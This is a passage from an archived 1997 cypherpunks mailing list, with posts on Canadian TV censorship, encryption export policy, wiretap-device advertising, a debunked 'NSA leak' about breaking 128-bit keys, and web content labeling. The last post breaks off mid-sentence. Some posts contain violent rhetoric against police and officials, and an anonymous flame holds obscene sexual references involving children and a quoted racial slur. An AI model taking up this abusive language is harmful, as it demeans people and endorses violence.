>   channel that hopes to benefit from the fact that Bloomberg will be
>   banned in Canada. Other brilliantly innovative duplications of U.S.
>   networks are The Home and Garden Channel, History Television, The
>   Comedy Network, Discovery and Country. Is this unique Canadian
>   culture? One such Canadian offering, The Family Channel, has even
>   abandoned all pretext to being a Canadian original: it's changing its
>   name to recognize the source of most of its content: The Disney
>   Channel.

Don't forget Much Music.. I need my MTV oops muchmusic...

No, the problem is not canadian content, the problem is the percieved
canadian content. A lot of Canadians think that canadian culture is under
constant attack from the US. After all how many magazines are canadian? how
much of the music on the Radio is Cancon (canadian content)? How much of
the news we get from the newspaper is Canadian? Also, seeing that most of
the people in canada (except for the aboriginals) are of European Decent,
just like the US.. what does it matter anyway? What the CRTC fails to
realize is that canadian culture will do fine even if as Canadians we get
American satellite.....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Yaffe <straightedge.dave@sk.sympatico.ca>
Date: Sun, 27 Jul 1997 16:49:23 +0800
To: cypherpunks@Algebra.COM
Subject: Rules for "Them" and Rules for "Us"
Message-ID: <3.0.2.32.19970727024151.007b9130@mailhost.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



>This stinks. We're not talking about private ownership of nukes. We're
>talking about a situation where a citizen can go to prison for having a
>knife longer than 3 inches in his pocket, while cops are free to have them
>for their own purposes.

We can all pray for the day when law enforcement, and government personel
wake up one morning, realise what they are and shoot themselves.

Then again, they are all such nice people, why would we want them to do that..


David
Those who can, do. Those who can't, teach. Those that know nothing about
anything, lead..





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles" <apache@gargoyle.apana.org.au>
Date: Sun, 27 Jul 1997 03:35:24 +0800
To: cypherpunks@cyberpass.net
Subject: Australian net legislator proves Clueless newbie
Message-ID: <199707261928.FAA11240@gargoyle.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



>From a poster in aus.censorship reports:

"I heard Senator Alston on ABC Radio National tonight (23 July). He
made a comment that the "Internet has been going for 3 or 4 years".
Its extraordinary that with limited knowledge such as this he is
forging forward with regulatory changes which will dramatically change
the face of the 'Net in Australia and completely ignore the the
existing cultural milieu that has been created over many years (a lot
more than "3 or 4" Alston might be surprised to know)..."

Senator Alston, self appointed net expert has no email address, as is 
common for the vast majority of Australian politicians who in general 
understand little more than the net present value of their unfunded 
superannuation payouts.

Any Aussies want to have their say (uncensored) on the web export 
your dollars out of this backwater and buy some space on 
extra-territorial web server.
-- 
   .////.   .//    Charles Senescall             apache@quux.apana.org.au
 o:::::::::///     apache@bear.apana.org.au  apache@gargoyle.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 27 Jul 1997 12:23:41 +0800
To: cypherpunks@toad.com
Subject: CanadaBanAna Censors US TV (and bans decryption)
Message-ID: <199707270408.GAA12295@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



  
   Saturday, July 26, 1997
   By Terence Corcoran
   
   HOME Box Office, the U.S. cable network, just garnered 90 Emmy
   nominations in recognition of quality programming. But HBO is still
   banned in Canada. The network was not on the list of foreign services
   approved Wednesday by Canada's dictator of cable and satellite
   television content, the CRTC. Others banned by the CRTC include
   Bloomberg Television and the U.S. versions of the Discovery Channel,
   The Comedy Network, the Disney Channel and scores of other program
   services deemed too subversive for Canadians to watch in their
   original form -- unless, of course, the same programming passes
   through the hands of a Canadian middleman or monopolist who will
   culturally sanitize the programming by skimming off a fat profit.
   
   Once a Canadian has grabbed a piece of the action -- as a distributor,
   broadcast licence holder, cable operator or satellite owner --
   Canadians are allowed to view the U.S. content. This banana republic
   setup has been in place for decades, and now it may be getting worse.
   A judge has concluded in one of the satellite disputes that it may
   even be illegal for a Canadian to pay for HBO and other networks as
   they come in over the border on U.S. satellite systems.
   
   The oral judgment by Mr. Justice Frederick Gibson of Federal Court of
   Canada in the case of ExpressVu versus Norsat and other companies was
   issued last month, but the written version sets a number of bizarre
   precedents that appear to deeply infringe on individual rights. By
   ruling in favour of ExpressVu, the Canadian satellite company, Judge
   Gibson has essentially come up with a judgment that is the equivalent
   of making it illegal for a Canadian to subscribe to Fortune or
   Cosmopolitan magazines or to buy a copy of Vanity Fair or Esquire on
   the newsstand.
   
   In this judgment, it is illegal for a Canadian to watch HBO and scores
   of other channels now available in the United States -- even if the
   service is paid for -- on the grounds that the federal
   Radiocommunication Act makes it illegal. The act says no person shall
   decode an encrypted signal without paying for the service and without
   authorization of the person who has the lawful right in Canada to
   transmit the signal.
   
   The purpose of the act's clauses on encryption is a technical one to
   prevent fraud. Evidence presented by Andrew Roman, the lawyer for
   Norsat, makes it clear that the intent of the government was to make
   it illegal for people to use counterfeit decoders and other devices to
   avoid payment. All the debates in Commons committee focus on the act
   as an attempt to prevent theft of signals. No such theft occurs when
   Canadians subscribe to and pay for a U.S. satellite service.
   
   But Judge Gibson's judgment ignores the theft-of-signal intent of the
   legislation. Instead, he interprets the act, in conjunction with other
   laws, and concludes that the clause on encryption makes it illegal for
   anyone to subscribe to a U.S. satellite service. Norsat has filed an
   appeal.
   
   What makes this judgment even more unusual is that it effectively
   attempts to make it illegal for a Canadian to pay for a U.S. channel
   on a U.S. satellite, when the identical U.S. channel is available on
   Canadian cable or satellite. For example, WGN-TV in Chicago can be
   picked up on Canadian cable, Canadian satellite or on U.S. satellite.
   In each case, the subscriber pays for the service. But under this
   judgment, it would be illegal to pay the U.S. satellite for WGN-TV.
   Who does this serve -- other than giving Bell and the cable companies
   more revenue.
   
   Even stranger is that many of the networks carried by U.S. satellites
   are already available in Canada over the air waves free, or on cable,
   or on C-band, an alternative satellite service that has been available
   in Canada for years. A Seinfeld episode can be picked up free over the
   air from a U.S. television station, or on a U.S. station via cable, or
   on a Canadian station on cable. But if the same Seinfeld episode were
   bought by a Canadian from a U.S. satellite service, it's illegal.
   
   Filling the troughs of the Canadian broadcasting industry and
   transmission systems may be the purpose of broadcasting policy, but it
   is certainly not the objective of this section of the
   Radiocommunication Act.
   
   Canada's specialty networks, meanwhile, are gearing up to flood the
   country with copy-cat versions of the networks banned by the CRTC --
   including The Globe and Mail, which is a partner in ROBTv, a business
   channel that hopes to benefit from the fact that Bloomberg will be
   banned in Canada. Other brilliantly innovative duplications of U.S.
   networks are The Home and Garden Channel, History Television, The
   Comedy Network, Discovery and Country. Is this unique Canadian
   culture? One such Canadian offering, The Family Channel, has even
   abandoned all pretext to being a Canadian original: it's changing its
   name to recognize the source of most of its content: The Disney
   Channel.
   
http://www.globeandmail.ca/docs/news/19970726/ROBColumn/RCORC.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 28 Jul 1997 01:30:50 +0800
To: cypherpunks@Algebra.COM
Subject: Re: LEO Sly Bug Buy, Bye Spy Shop
In-Reply-To: <1.5.4.32.19970727163329.008845bc@pop.pipeline.com>
Message-ID: <v03102800b00134a72286@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:33 AM -0700 7/27/97, John Young wrote:
>As follow-up to an earlier thread, and Tim's post on LEOs, them
>and us, this excerpt from House Report 105-162:

Thanks, John. This does indeed confirm what I was talking about. I hadn't
realized they had gotten bans on microphones that are politically
incorrect, except, of course, for themselves.

Why not just go all the way and ban typewriters and photocopiers,  except
for themselves, as other repressive regimes have done?

And who can say with a straight face they haven't earned sanctioning?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 27 Jul 1997 23:20:05 +0800
To: cypherpunks@toad.com
Subject: Cerf: Building a Barrier-Free Net
Message-ID: <1.5.4.32.19970727150210.00731858@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



   The New York Times, July 27, 1997, Money & Business, p. 12.

   Viewpoint

   Building an Internet Free of Barriers

   Vinton G. Cerf

      Vinton G. Cerf is senior vice president for Internet
      architecture and engineering at MCI Communications. He
      is a co-inventor of the computer networking protocol
      TCP/IP, which has become the language for Internet
      communications.

   When the subject is global networks like the Internet, the
   magic word is "seamlessness." Seamless global
   communications represents the technological promised land
   of major network providers like mine. For the consumer,
   seamlessness means unimpeded, smooth, clear communications
   among all points within a network and among all networks.

   To the extent that it has developed, seamlessness has been
   the sine qua non, the essential element, behind the
   fast-growing Internet. It is the essence of the links of
   the World Wide Web. The Internet, after all, is not a
   network, or even a medium, in the traditional sense, but a
   network of nearly 200,000 networks and a medium of media,
   encompassing all the long-established ones while creating
   entirely new types. The more seamless we make the Internet
   and, for that matter, the global information
   infrastructure, the quicker we will harness the immense
   potential.

   Although high hurdles of technology and infrastructure
   stare us in the face, obstacles of the political and public
   policy variety are equally daunting. Many policy makers
   fail to grasp that the very seamlessness already found on
   the Internet, coupled with its basic digital nature, makes
   it almost impossible to monitor or regulate its flow of
   information in a hierarchical way. Notwithstanding the
   efforts of certain countries, Big Brother would have real
   problems doing his dirty work on the Internet. Still,
   well-meaning policy makers try to extend longstanding
   social goals to the Internet through heavy-handed,
   market-distorting mandates when industry-led strategies
   could be more effective.

   Of greatest concern to the Internet industry today are the
   many legal quagmires and incoherent policy patchworks that
   hinder Internet commerce. Achieving full seamlessness of
   Internet networks will be impossible if the networks'
   builders must maneuver through inconsistent laws and
   policies. Not only are the policies of many nations in
   conflict, but so are policies within nations -- and to such
   an extreme that some seem mutually exclusive.

   A good example is encryption policy. Encryption technology
   scrambles digital communications to make them
   indecipherable to anyone except the intended receiver. The
   users range from businesses that transmit confidential data
   to individuals who send personal E-mail messages.
   Widespread availability of encryption is a prerequisite for
   enhancing security and privacy on the Internet, for
   engendering a mature electronic marketplace and even for
   helping the work of law enforcement.

   Yet governments resist removing old restrictions on the
   export and use of encryption technology -- rules that date
   from the cold war -- even as they proclaim pro-market
   intentions and stress greater Internet privacy and security
   as priorities.

   Fortunately, growing numbers of key policy makers in the
   advanced democracies are showing a clearer, more
   technologically sophisticated understanding of the
   Internet. They grasp that while government financed the
   start of the Internet, the absence of government has
   largely allowed it to take off like a rocket.

   Within this group are members of Congress like Senators
   Conrad Burns, Republican of Montana, and Patrick Leahy,
   Democrat of Vermont, and Representative Bob Goodlatte,
   Republican of Virginia, who are pushing to liberalize
   encryption export controls.

   Another is Ira C. Magaziner, the White House adviser who
   oversaw the development of a major Administration policy
   paper, released earlier this month, on electronic commerce.
   The paper, which advocated a largely hands-off approach by
   Government to Internet regulation, is a breakthrough in
   electronic commerce policy. Its perspective is properly
   global; its delineated goals, highly commendable.
   Particularly laudable is its proposal to designate the
   Internet as a tariff-free zone.

   The Internet is now perhaps the most global and democratic
   form of communications. No other medium can so easily
   render outdated our traditional distinctions among
   localities, regions and nations. While the Internet
   increasingly knows no boundaries, it still knows barriers
   all too well -- obstacles that are too often born of
   technological ignorance leading to incoherent public
   policy.

   The world cannot afford policies that impede the
   development of the Internet, diminish its utility and limit
   its social reach. And much more could be at stake than
   seamless digital networks. We may find that the more we
   succeed in removing barriers to Internet communications,
   the more we may help reduce those other, far more important
   obstructions to human communications -- the ones that
   divide nations and estrange demographic groups.

   That, ultimately, could be the most far-reaching, enduring
   benefit of an unfettered global Internet.

   -----

   Readers may submit opinion articles to Viewpoint and
   articles on personal experiences to From the Desk Of, Money
   and Business, The New York Times, 229 West 43d Street, New
   York 10036, or send E-mail in care of viewpts@nytimes.com
   or fromdesk@nytimes.com. All submissions become the
   property of The Times. They may be edited and may be
   republished in any medium. If manuscripts are accepted for
   publication, authors will be notified within too weeks.

   [End]












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 28 Jul 1997 00:52:27 +0800
To: cypherpunks@toad.com
Subject: LEO Sly Bug Buy, Bye Spy Shop
Message-ID: <1.5.4.32.19970727163329.008845bc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



As follow-up to an earlier thread, and Tim's post on LEOs, them
and us, this excerpt from House Report 105-162:

                Background and Need for the Legislation

    Section 2512 of title 18, United States Code, prohibits the
advertisement of any electronic, mechanical or other device,
``primarily useful for the purpose of surreptitious
interception of wire, oral or electronic communications.'' This
section was drafted with the intention of ``significantly
curtailing the supply of devices * * * whose principal use is
likely to be for wiretapping or eavesdropping.'' \1\ The
Committee report listed several examples of devices which would
fall under this prohibition, including microphones designed as
wristwatches, cuff links, tie clips, fountain pens or cigarette
packs.\2\
---------------------------------------------------------------------------
    \1\ S. Rep. No. 1097, 90th Cong., 2d Sess. 94-95 (1968).
    \2\ Id.
---------------------------------------------------------------------------
    Unfortunately, legitimate law enforcement users were swept
along with this prohibition on advertisements. Because of the
restriction under Sec. 2512, companies which manufacture
devices designed for wiretapping are not permitted to advertise
the sale of their products to police departments. These
companies are aware of cases in which a defendant was charged
and convicted for violation of Sec. 2512, and although they
would like to make the law enforcement community aware of their
products, they do not wish to risk criminal sanctions.\3\
---------------------------------------------------------------------------
    \3\ See, e.g., United States v. Ron Wynn, 633 F. Supp. 595 (1986).
---------------------------------------------------------------------------
    Law enforcement officers, particularly undercover officers,
often use devices which would fall under the definition of a
device ``primarily designed for surreptitious interception.''
It is a strange anomaly in the law that police departments have
the authority to use electronic intercepts, but they may not
receive mailings about improvements to such equipment. This
exception is particularly significant since electronic
interception equipment is frequently updated and improved.
    As an example, police officers and informants often use
body microphones to record criminal activity. Covert devices
are critical for the collection of evidence, yet many
experienced criminals are aware of traditional attempts to
disguise body transmitters. These transmitters have been
miniaturized, and can now be disguised in some common facade
unfamiliar to criminals. By not allowing companies which
manufacture intercept equipment to advertise to police
departments, police officers' lives are unnecessarily put at
risk.
    H.R. 1840 will provide relief to companies which
manufacture electronic interception equipment, by allowing them
to advertise the availability of their products to agencies of
the United States, States, or political subdivisions, so long
as the recipient of the mailing is duly authorized to use such
devices. The Committee appreciates the extensive input of the
Federal Bureau of Investigation in drafting this legislation,
to ensure that the bill was crafted as narrowly as possible
while still achieving the intended effect.

[End report excerpt]

-----

For full report and bill:

   http://site108240.primehost.com/hr1840.txt  (14K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 28 Jul 1997 06:20:21 +0800
To: cypherpunks@cyberpass.net
Subject: "the sovereign individual" by davidson/rees mogg
Message-ID: <199707272214.PAA26120@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



interesting new book out on the shelves, (c) 1997, by
James Dale Davidson and Lord William Rees-Mogg called
"the sovereign individual". many cpunk themes in this
book and I highly recommend it to people on the list.
from the back cover:

they predict:

- collapse of the welfare state and the death of nations worldwide
- overhaul of the US Tax system, based on consumption instead
of earnings
- governments will lose power to arbitrarily regulate
economies
- banks will go through larger crisis than the 1980s
- US government will diminish to the size it was in
the 19th century
- US government- IRS, CIA, NSA will declare war on
groups that try to circumvent the income tax through cyberspace
- organized crim ewill grow as central economies break down
- central banks will lose power to inflate and control
the money supply as paper money is supplanted by cybercash
- individuals will gain more autonomy and financial capability 
- morality will make a comeback.

interesting ideas on the role of violence in what makes
different government and social systems "viable" and the
idea as the government as being in the "protection" business
with a monopoly on the use of violence. ideas about digital
currencies that compete with each other on the free-market
bases. inviability of the "new world order" of worldwide
government.  lots of neat ideas on cyberspace. role of
cryptography in securing private transactions.

from p. 324, on cyberspace:

"massed armies will mean little in such a world. efficiency will
mean more than ever before. because microtechnology creates
a new dimension in protection, individuals for the first time in
human existence will be able to create and protect
assets that lie entirely outside the realm of any individual 
government's territorial monopoly on violence. these assets, therefore,
will be highly susceptible to individual control. it will be perfectly 
reasonable for you and significant numbers of future Sovereign Individuals
to "vote with your feet" in opting out of leading nation-states
to contract for personal protection with an outlying nation-state or
a new minisovereignty that will only charge a commercially
tolerable amount, rather than the greater part of your net worth."

an interesting theme near the end of the book is the idea that
morality/trust will play a more important role in cyberspace because
people will be depending on each other's reputations to conduct
business transactions in cyberspace.

some of these ideas I've written on here before, and seen much dialogue
here. think this will be an influential book that will frame future
debate for a long time.

the authors verge on what consider "conspiracy theory" at times when
they even get into Clinton's drug connections in mena, arkansas.

they advocate going to alternative sources of news other than the
mass media which will be unable to recognize or report on the
reality of the changing world because they are caught up in
their own reality distortion fields, very much like those who,
at the fall of the roman empire, still believed it existed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Guillotine <guill@xmission.com>
Date: Mon, 28 Jul 1997 05:39:47 +0800
To: cypherpunks@toad.com
Subject: New Crypto Application
Message-ID: <199707272124.PAA12529@xmission.xmission.com>
MIME-Version: 1.0
Content-Type: text/plain



Greetings fellow Cyphers...

I'm creating a new _text_ cryptography program.  The encryption algorithm,
using a symmetrical is going to be as strong as legally allowed, and after
copyrighting the program, I'm going to release the source code and explain
everything about it (since it can be reverse engineered anyways).  The
reason I'm sending this e-mail to you is my request for more knowledge, and
if you're like me, then you have an extreme thirst for knowledge!  Any
algorithm, key hashing, user interface, or other important suggestions you
might have will help me immensely, and hey, maybe you'll get a free copy of
this program when it comes out, but otherwise you will just have to wait
until someone cracks the copyprotection because I'm going to make that
extremely hard to do.  I was going to call the program AlphaNumeric
Encryption, but that says pretty much nothing...  I might just call it
something like Cipher Pad (or Cypher Pad if nobody cares that I use
"cypher") , since it's only for text encryption.  If you have a better idea
for a name for this program, then please suggest it to me.

Thanks,

Guillotine





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 27 Jul 1997 21:45:38 +0800
To: cypherpunks@toad.com
Subject: Can you spell 'Stoopid'? Sure you can... / Re: thought for the day, and my IRS Investigations report
Message-ID: <199707271334.PAA23880@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



"David D.W. Downey" <Webmaster@CyberSpaceTechnologies.com> wrote: 
> Zooko Journeyman wrote:
> > My interaction with Jim Bell pretty much amounted to condemning
> > him and telling him to go to hell, CC'ed to cypherpunks.  And
> > I haven't received any IRS Investigations notes, so perhaps my
> > e-mail address wasn't included in Jim's little black book.

> Why does it always seem like there has to be someone out there that just
> HAS to be an idiot.

Dear Dave,
  Why does it always seem that it is the idiots who ask this question?

  Are you by any chance of fate related to the David Downey who spammed
the cypherpunks list with an announcement of his attempt to "get a
number
of the other cypherpunk lists together under one umbrella," then sent
several copies of his "Welcome to my fascist, censorous,
pseudo-cypherpunk
mailing list." message to the cypherpunks list (and subsequently
displayed
his lack of knowledge as to how to unsubscribe to a mailing list, let 
alone try to run one)?

> From: "David Downey" <digital_matrix@hotmail.com>
>  To: cypherpunks-unedited-outgoing@toad.com
>
> unsubscribe cryptography-politics-pgp-l

Welcome to The Privacy Channel's Cryptography-Politics-PGP-L. As you've
probably guessed from the list title, this list is dedicated to the
open, friendly, and intellegent discussion of Cryptography around the
globe.

  "Open, friendly, and intellegent discussion." ???!!!???
  Sounds like my "CypherPissing" mail folder would starve to death
if it counted on your list for its sustenance.

All are welcome here

  Thank God! I was afraid I wouldn't be able to discuss my pictures
of the Pope with his dick in the mouth of children being held down
by Mother Teresa.

Now, let's get a few things out of the way. The Rules!

  I'm starting to smell leather. Is it 'Jackboot' leather?

1) ABSOLUTELY NO SPAMMING ALLOWED!!!! I'll can ya in a heartbeat, as
well as speak to all the server owners that you traveled on.

  Are the capital letters meant to indicate shouting, a thick Nazi 
German accent, or both? And are you intending only to 'inform' on
and 'cause trouble for' *bad* people? Will there be 'spankings' 
involved (or does this cost extra)?

2) You keep it kind of clean. Keep the swearing and such down to a
minimum. 

  Ex-fucking-cuse me?
  Is there a swearing 'minimum' which is *required*, or only a 'maximum'
which is *allowed*? Do Tourettics require a note from their doctor to
call someone who sucks dick a cocksucker?

You can get your point across just as well without cussing.

  Right. Like there is a phrase other than "lying, fucking criminal,
god damn, rat-bastard Nazi motherfuckers" that could possibly come
close to describing our beloved legislators.
 
Flaming others is also considered bad karma here. I'd like to see folks
help each other around here. 

  "Why can't we all just get..."
  "... along."
        - Rodney King
  "...a long nightstick and just beat the fuck out of a nigger."
        - L.A. Chief of Police

After all, we are all we got!

  And "Wherever you go, there you are."
  And "Patience comes to those who wait."
  And "If God is Love and Love is Blind, then Ray Charles must be God."
  Will we be singing "Michael row the boat ashore." a lot on your list?

3) You try to keep as much as possible to the point, and to the content
of this list.

  OK, but it's going to make it a lot harder to sell my '67 Chevy
station
wagon. (It's an "anonymous" automobile with stolen plates. Perfect for
a cypherpunk.)

If you really want to talk about something else, let me
know. I'll get another list going.

  Great! Now I know who is in charge of giving me permission to talk and
is willing to control the forum in which I do it. Up until now I have
had to bear this terrible burden myself.

4) Respect others!!!

  Does the "!!!" imply "or else..."?

5) Finally, HAVE FUN!!!!!

  How? By telling you to stick your "rules" up your ass?
  "FUN" in a manner that meets your approval?
  Does your shouting "HAVE FUN" and the multiple exclamation marks
mean that having fun is 'required'?
  If so, will Jim Bell be allowed an exception to this rule, or will
he have to learn to enjoy being buggered by Prisoner #32289723?

I'm done. Talk to you on the List.

  You were done before you even got started. And shouldn't you have
said, "SHOUT AT YOU ON THE LIST!!!!!!!!!!!!!!!!!!!!!!!!!!!"?

  I think I'll join the "Miss Manners Cryptography List," instead.
It teaches proper oppression etiquitte, such as which fork to stick
in the eye of the Jackboots who kick in your door to demand your
secret key, and how to choose the proper wine to go with the shit 
that the government dishes out.

!have !fun,
  TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Frederick G.M. Roeber" <roeber@netscape.com>
Date: Mon, 28 Jul 1997 07:40:26 +0800
To: cypherpunks@toad.com
Subject: Re: NSA leak (fwd)
In-Reply-To: <Pine.SOL.3.95.970719232017.28206B-100000@orion.means.net>
Message-ID: <33DBD82F.392EBAC0@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



> (Actually, for all I know, terawatt power sources may exist; that's 
> out of my field.  Please let me know if this is the case.[)]

I don't know about continuous sources, but the "Star Wars" SDI research
came up with a storage system that could discharge terawatts for
something in the seconds/minutes(/hours?) range.  Basically a large
superconducting coil buried in the ground, it would feed the
ground-based lasers.  Not that this really impacts your analysis..

I suspect the 33 minutes is probably in reference to a dictionary attack
of some sort, rather than an exhaustive keysearch.

However, don't rule out quantum computers.  I think they're doable.. a
few months in an optics lab, maybe I can come up with a cell.

> Unless the Administration has granted a secret Executive Order
> repealing the Laws of Physics for the NSA,

I was at CERN when Clinton was elected and brought in his new
administration.  His DOE head (Hazel O'Leary?) made a speech to a group
of physicists in which she indicated her belief that physical laws
weren't much different than "real" laws.. and that if we found them
troublesome, well, she had access to the folks in DC who could get an
amendment passed.  Stunned silence.

-- 
Frederick G.M. Roeber





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Mon, 28 Jul 1997 05:57:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: NSA leak (fwd)
In-Reply-To: <Pine.SOL.3.95.970719232017.28206B-100000@orion.means.net>
Message-ID: <5rgfra$ro@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



[To cypherpunks, copied to fight-censorship (which I'm not on).]

In article <Pine.SOL.3.95.970719232017.28206B-100000@orion.means.net>,
Robert Hayden-0797-EMP-HSE  <rhayden@orion.means.net> wrote:
>Say this on the Fight Censorship list.  Just FYI.
>
>---------- Forwarded message ----------
>Date: 19 Jul 1997 17:56:51 -0000
>From: Secret Squirrel <nobody@secret.squirrel.owl.de>
>To: fight-censorship@vorlon.mit.edu
>Subject: NSA leak
>
>WASHINGTON (AP) - In a rare moment of openness bordering on glibness, a
>senior official at the super-secret National Security Agency was overheard
>at a White House press conference concerning current bans on the export of
>encryption technology saying, "It would not take any twelve times the age of
>the universe to decrypt a 128-bit message.  Thirty-three minutes is more
>like it."
>
>Observers at the press conference indicated that the senior official's
>remarks were intended to be overheard by those standing nearby, who included
>White House officials, reporters, and a troupe of girl scouts from Lundane,
>Illinois.

Uh-huh.  Unless the Administration has granted a secret Executive Order
repealing the Laws of Physics for the NSA, the above statement, if true,
would imply one of the following things:

1. The NSA has a reversible computing machine with at least 2^128*128 bits
   = 5.44*10^39 bytes = 4.95*10^27 TB of memory.  Hardly.

2. Their cracker changes the state of 2^128 bits in 33 minutes.  This is
   being extremely generous; it assumes (in the style of Schneier) that
   they only have to increment a counter through each possible key, and
   that _checking_ the key is free.  Let T be the temperature at which
   they run their computer.  Again, be very generous, and assume that
   their computer is in deep space, with an ambient temperature of 
   about 3 Kelvins, and that their super-fast processor does not heat
   up the system, so T = 3K.

   Then their cracker would require 2^128 * k * T of energy in 33 minutes
   (k is Boltmann's constant, 1.38*10^-23 J/K).  This works out to a power
   requirement of 2^128*k*(3K)/(33*60s) = 7.12 TW (terawatts).  This
   seems also unlikely.  (Actually, for all I know, terawatt power sources
   may exist; that's out of my field.  Please let me know if this is the case.
   I just know that at my rates, 7.12 TW for 33 minutes (at about $.10/kWh)
   would cost $392 million each time they wanted to crack a key (half that
   in the average case; and of course, their electrical rates are probably
   lower than mine...).  Again, this is being _extremely_ generous in
   the energy consumption calculations.  Note also that this dollar figure
   depends only on the size of the key and your power rate; the 33 minute
   figure cancels out.)

   There could be some tradeoff in the above two cases.

3. They have a quantum computer, or some alien technology, or something
   else we know pretty much nothing about.

Given this choice, I would vote for #3. :-)  However, I'd go out on a limb
and say that the NSA guy was simply lying (or that the anecdote itself is
mistaken).

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 28 Jul 1997 05:11:58 +0800
To: cypherpunks@toad.com
Subject: Re: Yet another self-labeling system (do you remember -L18?)
Message-ID: <199707272057.WAA03141@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:05 PM 7/26/97 -0400,James Love wrote:
>   Suppose on the other hand that someone had a page that people thought
>should have a rating=adult tag.  Well, the person who didn't use the tag
>would just have to deal with whatever crap you would get for not
>labeling.                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 ^^^^^^^^^

That's not voulntary, as Tim stated.

>If you thought your site had some constitutional right not to
>label the content adult, then just don't label it.  I really don't think
>this will be that big an issue,

Unless you believe that voluntary ratings in order to get listed in a search engine are wrong.

>but I don't know (no one knows).  I
>think that a significant percent of porn sites would use the
>rating=adult label in a second if they thought it would get people off
>their back.  Those that didn't use the label could just put up with the
>consequences, whatever they are.  I would expect (and hope) that the
>rating=adult label would be used infrequently, mostly for sites
>involving explicit sexual images.  I don't think a rating=adult label
>would be much of a barrier to teenagers who wanted access to this type
>of material, since one could download a browsers in a few minutes that
>wouldn't block the data.  But like a childproof top on aspirin, it would
>work pretty well with pre-teens, I imagine.

Some pre-teens are smarter than that, and may thwart the system.  Whose fault it it then if they see a page with porn on it?

>    Well, I for one don't like a Y=7 type system.  It involves too much
>information from the person rating the wage page.  The more precision
>you put in a rating system, the more trouble you get in.  Keep it
>simple, very simple.  What if someone was a sex with sheep web site,
>unlabeled?  I don't care much.  I wouldn't be surprised, however, if
>Yahoo didn't give them the prominent listing they wanted, in the absence
>of the rating=adult label.  

Therefore, don't use yahoo.  Use one that doesn't promote censorship.

>    Maybe.  Maybe not.  Maybe it would "solve" the problem, without
>legislation.   I think it would be nice if the problem was solved
>without legislation. But if the problem (and I think there is a problem)
>isn't solved voluntarily, don't be shocked when Congress acts.  

And I won't be shocked when the Supreme court strikes that down.  The problem can be solved, just let parents monitor their kids access.  If that happened, there would be no need for this censorware and rating crap.

>      Are you calling me a lazy parent?  What is the obligation of a
>parent?  To supervise a kids web browsing?  Please, I think kids are
>better off with more privacy, and less parental (and teacher)
>supervision when they browse the web.  

Well, if they have that privacy, they often go to a site with images that some people consider obscene.  That's when the parents, unable to accept their mistake for not being responsible, blame the webpage's author.

>     This simply isn't true.  A lot of support for content labeling,
>including systems which I find appalling, is from fairly typical
>parents.  This isn't a right wing or born again issue.  

Those parents probably are lazy in the first place.

>    Nothing will satisfy everyone.  But reasonable people will support
>reasonable solutions, and it might be the case that there are enough
>reasonble people around to come up with a resonable system.

You seem to favor the "Let's just do this to avoid hassle" thing that law enforcement and government types try to promote.  If we were to, "avoid the hassle" with webpage ratings, we might as well "avoid the hassle" of using PGP and such so that we don't anger the government anymore.

I'm not labeling my webpage, and no dickhead is going to tell me to.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Mon, 28 Jul 1997 14:33:02 +0800
To: cypherpunks@cyberpass.net
Subject: CPAC, XtatiX, and the Censor-State
Message-ID: <19970728062731.13289.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



The self-proclaimed "child protectors" are at it again.  This
time, an ex-police officer with far too much time on his hands
has declared war on all so-called "boylover" web sites on the
Internet.

This includes not only sites where legal issues surrounding
youthful sexuality are discussed, but virtually every site in
which the word "boy" appears, including photography web sites,
young celebrity sites, and any sites such sites link to.

We're not talking about porn here, but material which is
perfectly legal, the vast majority of which would attract little
attention aside from the fact that a bunch of Christian wankers
have unilaterally decided for all of us that they do not want it
on the Net.

They have sworn to harrass each and every ISP carrying material
on their "hit list," until the material is removed.  Tactics
